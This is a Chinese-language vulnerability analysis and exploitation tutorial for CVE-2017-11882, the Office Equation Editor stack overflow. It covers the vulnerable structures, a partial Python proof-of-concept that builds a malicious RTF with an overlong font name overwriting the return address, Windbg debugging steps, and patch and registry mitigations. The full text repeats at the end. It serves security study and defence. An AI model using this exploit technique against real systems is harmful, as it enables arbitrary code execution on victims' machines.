CVE-2017-11882 Office栈溢出漏洞分析
字数 1368 2025-08-26 22:11:28

CVE-2017-11882 Office栈溢出漏洞分析与利用教学

漏洞概述

CVE-2017-11882是Microsoft Office中的一个栈溢出漏洞,存在于Equation Editor组件(EQNEDT32.EXE)中。该漏洞由于未对字体名称长度进行校验,导致攻击者可以通过精心构造的Office文档执行任意代码。

漏洞环境准备

测试环境

  • 操作系统:Windows 7 x64 sp1
  • Office版本:Office 2007 Professional

调试工具

  • Windbg:用于动态调试
  • IDA Pro:用于静态分析
  • RTFOBJ工具:用于分析Office文档结构

漏洞分析

漏洞位置

漏洞位于EQNEDT32.EXE公式编辑器的sub_41160F函数中,该函数未对拷贝长度进行校验,导致栈溢出。

漏洞原理

  1. Equation Native结构

    • Equation Native = EQNOLEFILEHDR + MTEF Header + MTEF Byte Stream
    • 其中MTEF Byte Stream中的FONT记录是漏洞触发点
  2. 关键结构体

struct EQNOLEFILEHDR {
  WORD    cCBHdr;     // 格式头长度,大小为0x1C
  DWORD   nVersion;   // 固定为0×00020000
  WORD    nCf;        // 该公式对象的剪贴板格式
  DWORD   cbObject;   // MTEF数据的长度,不包括头部
  DWORD   nReserved1; // 未使用
  DWORD   nReserved2; // 未使用
  DWORD   nReserved3; // 未使用
  DWORD   nReserved4; // 未使用
};

struct stuFontRecord {
  BYTE bTag;        // 字体文件的tag位0×08
  BYTE bTypeFace;   // 字体风格0x5a
  BYTE bStyle;      // 字体样式0x5a
  BYTE bFontName[n] // 字体名称,以NULL为结束符,漏洞点
};
  1. 漏洞触发流程
    • 攻击者构造超长的字体名称(bFontName)
    • 程序未校验长度直接拷贝到固定大小的栈缓冲区
    • 覆盖返回地址,控制程序执行流

漏洞利用

利用步骤

  1. 构造恶意RTF文档

    • 使用RTF模板构建基础文档
    • 插入Equation Native对象
    • 在FONT记录的bFontName字段填充超长字符串和shellcode地址
  2. 关键偏移

    • 需要计算准确的偏移量覆盖返回地址
    • 通常覆盖为调用计算器函数或自定义shellcode地址
  3. Python构造POC示例

RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""

OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """

# 关键部分 - 构造Equation Native数据
OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
[...]
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000
[...]
"""

动态调试

  1. 设置Windbg

    • 通过注册表设置程序启动时附加调试器
    • 在漏洞函数(sub_41160F)或返回地址(0x411874)处下断点
  2. 调试过程

    • 观察栈缓冲区被覆盖情况
    • 跟踪返回地址被覆盖后的执行流程
    • 分析shellcode执行过程

漏洞修复

代码修复

在拷贝函数前增加长度校验,确保字体名称长度在合法范围内。

用户修复方案

  1. 从微软官网下载安装补丁:
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

  2. 开启自动更新,更新到最新版本

  3. 禁用Equation Editor组件:

reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

参考资源

  1. MTEF结构参考:http://rtf2latex2e.sourceforge.net/MTEF3.html#Header
  2. Yanhui Jia分析文章:https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
  3. 四维创智分析文章:https://www.freebuf.com/column/183551.html

附件

  • 示例恶意文档:1910185da99b46c069f.zip

通过以上详细分析,我们可以全面理解CVE-2017-11882漏洞的原理、利用方式及修复方法。在实际应用中,建议用户及时更新补丁,避免使用存在漏洞的Office版本。

CVE-2017-11882 Office栈溢出漏洞分析与利用教学 漏洞概述 CVE-2017-11882是Microsoft Office中的一个栈溢出漏洞,存在于Equation Editor组件(EQNEDT32.EXE)中。该漏洞由于未对字体名称长度进行校验,导致攻击者可以通过精心构造的Office文档执行任意代码。 漏洞环境准备 测试环境 操作系统:Windows 7 x64 sp1 Office版本:Office 2007 Professional 调试工具 Windbg:用于动态调试 IDA Pro:用于静态分析 RTFOBJ工具:用于分析Office文档结构 漏洞分析 漏洞位置 漏洞位于EQNEDT32.EXE公式编辑器的 sub_41160F 函数中,该函数未对拷贝长度进行校验,导致栈溢出。 漏洞原理 Equation Native结构 : Equation Native = EQNOLEFILEHDR + MTEF Header + MTEF Byte Stream 其中MTEF Byte Stream中的FONT记录是漏洞触发点 关键结构体 : 漏洞触发流程 : 攻击者构造超长的字体名称(bFontName) 程序未校验长度直接拷贝到固定大小的栈缓冲区 覆盖返回地址,控制程序执行流 漏洞利用 利用步骤 构造恶意RTF文档 : 使用RTF模板构建基础文档 插入Equation Native对象 在FONT记录的bFontName字段填充超长字符串和shellcode地址 关键偏移 : 需要计算准确的偏移量覆盖返回地址 通常覆盖为调用计算器函数或自定义shellcode地址 Python构造POC示例 : 动态调试 设置Windbg : 通过注册表设置程序启动时附加调试器 在漏洞函数( sub_41160F )或返回地址(0x411874)处下断点 调试过程 : 观察栈缓冲区被覆盖情况 跟踪返回地址被覆盖后的执行流程 分析shellcode执行过程 漏洞修复 代码修复 在拷贝函数前增加长度校验,确保字体名称长度在合法范围内。 用户修复方案 从微软官网下载安装补丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 开启自动更新,更新到最新版本 禁用Equation Editor组件: 参考资源 MTEF结构参考:http://rtf2latex2e.sourceforge.net/MTEF3.html#Header Yanhui Jia分析文章:https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/ 四维创智分析文章:https://www.freebuf.com/column/183551.html 附件 示例恶意文档:1910185da99b46c069f.zip 通过以上详细分析,我们可以全面理解CVE-2017-11882漏洞的原理、利用方式及修复方法。在实际应用中,建议用户及时更新补丁,避免使用存在漏洞的Office版本。